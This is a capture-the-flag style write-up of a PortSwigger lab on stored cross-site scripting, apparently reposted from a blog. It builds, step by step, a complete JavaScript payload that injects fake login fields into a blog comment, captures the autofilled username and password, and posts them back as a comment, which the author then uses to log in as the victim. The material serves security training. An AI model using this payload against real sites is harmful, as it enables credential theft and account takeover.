Exploiting Cross-Site Scripting to Capture Passwords

9 months ago 102
BOOK THIS SPACE FOR AD
ARTICLE AD

A Portswigger Lab

Marduk I Am

Welcome Back!

Lab Description:

This lab contains a stored XSS vulnerability in the blog comments function. A simulated victim user views all comments after they are posted. To solve the lab, exploit the vulnerability to exfiltrate the victim’s username and password then use these credentials to log in to the victim’s account.
Note

To prevent the Academy platform being used to attack third parties, our firewall blocks interactions between the labs and arbitrary external systems. To solve the lab, you must use Burp Collaborator’s default public server.Some users will notice that there is an alternative solution to this lab that does not require Burp Collaborator. However, it is far less subtle than exfiltrating the credentials.

This lab builds upon the concepts explored in my previous write-up, ‘Exploiting Cross-Site Scripting to Steal Cookies.’ In that scenario, we developed a JavaScript payload designed to automatically submit the victim’s session cookie as a comment.

<!-- Previous lab's payload -->
<script>
window.addEventListener('DOMContentLoaded', function() {

var token = document.getElementsByName('csrf')[0].value
var data = new FormData();

data.append('csrf', token);
data.append('postId', 8); // replace number with correct postId
data.append('comment', document.cookie);
data.append('name', 'victim');
data.append('email', 'blah@email.com');
data.append('website', 'http://blah.com');

fetch('/post/comment', {
method: 'POST',
mode: 'no-cors',
body: data
});
});
</script>

For a complete breakdown of this code and how we came to craft it, please visit HERE.

In this lab we will be modifying and adding on to this code to capture a victim’s username and password. Sounds fun, let’s get started!

NOTES:

Keep in mind, this lab only works (in the wild) if the user’s browser is set to auto-fill certain things, like usernames and passwords, to save time when the page loads.

Access the lab. We find ourselves back on the target blog page. Navigate your way to your favorite blog and scroll down to view a comment form.

Based on previous labs, we know this comment box is very susceptible to stored cross-site scripting (XSS) attacks and will pretty much accept anything, including angle brackets (<>). Let’s start off by trying to inject our own input fields.

In the comment box insert the following basic HTML input elements. In the password element we will add an event handler, ‘onchange’, that will trigger our new function. I called our new function, ‘dothis()’, but can be named whatever you like.

<!-- Creating 2 user input fields -->
<input type="text" name="username">
<input type="password" name="password" onchange="dothis()">
 name, email, and website. Also showing <input type=”text” name=”username”> <input type=”password” name=”password” onchange=”dothis()”> in the comment box.

Click ‘Post Comment’ then ‘Back to Blog’ on the next page. Scroll down to view your comment.

Screenshot showing our comment with 2 input fields.

It worked! Now we need to incorporate it into our payload from the last lab.

In your favorite code editor, add the two <input> elements above our payload script.

I’ll comment out whatever part of the code we are not working on at the moment. At the end I will show the intact and completed code.<!-- Added elements -->
<input type="text" name="username">
<input type="password" name="password" onchange="dothis()">

<!--
<script>
window.addEventListener('DOMContentLoaded', function() {
var token = document.getElementsByName('csrf')[0].value
var data = new FormData();

data.append('csrf', token);
data.append('postId', 8);
data.append('comment', document.cookie);
data.append('name', 'victim');
data.append('email', 'blah@email.com');
data.append('website', 'http://blah.com');

fetch('/post/comment', {
method: 'POST',
mode: 'no-cors',
body: data
});
});
</script>
-->

Remove “window.addEventListener(‘DOMContentLoaded’,”, it will not be needed this time.

We do need, though, to define our new function ‘dothis()’ within the <script>.

<!--
<input type="text" name="username">
<input type="password" name="password" onchange="dothis()">
-->

<script>
function dothis() {
/*
var token = document.getElementsByName('csrf')[0].value
var data = new FormData();

data.append('csrf', token);
data.append('postId', 8);
data.append('comment', document.cookie);
data.append('name', 'victim');
data.append('email', 'blah@email.com');
data.append('website', 'http://blah.com');

fetch('/post/comment', {
method: 'POST',
mode: 'no-cors',
body: data
});
};
</script>

Now, within the <script>, we need to declare our new variables, username and password, the same way we declared ‘token’.

<!--
<input type="text" name="username">
<input type="password" name="password" onchange="dothis()">
-->

<script>
/*
function dothis() {
*/
var username = document.getElementsByName('username')[0].value
var password = document.getElementsByName('password')[0].value
/*
var token = document.getElementsByName('csrf')[0].value
var data = new FormData();

data.append('csrf', token);
data.append('postId', 8);
data.append('comment', document.cookie);
data.append('name', 'victim');
data.append('email', 'blah@email.com');
data.append('website', 'http://blah.com');

fetch('/post/comment', {
method: 'POST',
mode: 'no-cors',
body: data
});
};
</script>

Our code searches the document (‘document’) for the first elements (‘[0]’) with the name attribute (‘.getElementsByName’) equal to ‘username’ and ‘password’, and assigns their values (‘.value’) to the variables ‘username’ and ‘password’, respectively

Finally, in our original code we had the victim post ‘document.cookie’ in order to view their session cookie. This time though, we need their username and password.

In a previous write-up, ‘Reflected XSS in Canonical Link Tag’, we learned all about canonical links. A key take-away from that lab is to remember to use back-ticks (`), not single quotes (‘). I made that mistake trying to complete this lab.

<!--
<input type="text" name="username">
<input type="password" name="password" onchange="dothis()">
-->

<script>
/*
function dothis() {
var username = document.getElementsByName('username')[0].value
var password = document.getElementsByName('password')[0].value
var token = document.getElementsByName('csrf')[0].value
var data = new FormData();

data.append('csrf', token);
data.append('postId', 8);
*/
data.append('comment', `${username}:${password}`);
/*
data.append('name', 'victim');
data.append('email', 'blah@email.com');
data.append('website', 'http://blah.com');

fetch('/post/comment', {
method: 'POST',
mode: 'no-cors',
body: data
});
});
</script>

`${username}:${password}` — Acts as placeholders. Will be replaced with the actual username and password.

That should be everything we need for our completed payload. Here it is all together without anything commented out:

<!-- Completed payload -->
<input type="text" name="username">
<input type="password" name="password" onchange="dothis()">

<script>
function dothis() {
var username = document.getElementsByName('username')[0].value
var password = document.getElementsByName('password')[0].value
var token = document.getElementsByName('csrf')[0].value
var data = new FormData();

data.append('csrf', token);
data.append('postId', 8); // Chenge '8' to correct postId
data.append('comment', `${username}:${password}`);
data.append('name', 'victim');
data.append('email', 'blah@email.com');
data.append('website', 'http://blah.com');

fetch('/post/comment', {
method: 'POST',
mode: 'no-cors',
body: data
});
};
</script>

The only thing that needs to be done is changing the ‘8’ in ‘data.append(‘postId’, 8);’ to match the ‘postId’ of the blog you are commenting on. You can easily find this at the end of the blog’s URL.

With our completed payload, make your way back to a comment form on a new blog. Paste your completed payload in the comment box and fill out the remaining required fields.

Comment form filled out with completed payload in the comment box

Click ‘Post Comment’.

After you post the comment, the lab will simulate a victim visiting your comment and will post their ‘username:password’.

On the ‘Thank you for your comment page’, click ‘Back to Blog’ to view the victim’s information. You can see it posted directly below your latest comment.

Blog post showing victim’s username and password

It worked! We have their username and password. Now we just need to log in to their account.

Scroll back up to the top of the page and click on ‘My account’.

Top of blog page showing where ‘My account’ is located

Using the stolen credentials, log into the victim’s account.

Login page
Click ‘Log in’

Success! We did it!

Congratulations. You’ve solved the lab.

Congratulations on solving another one! Keep up the amazing work!

See you next time!

Read Entire Article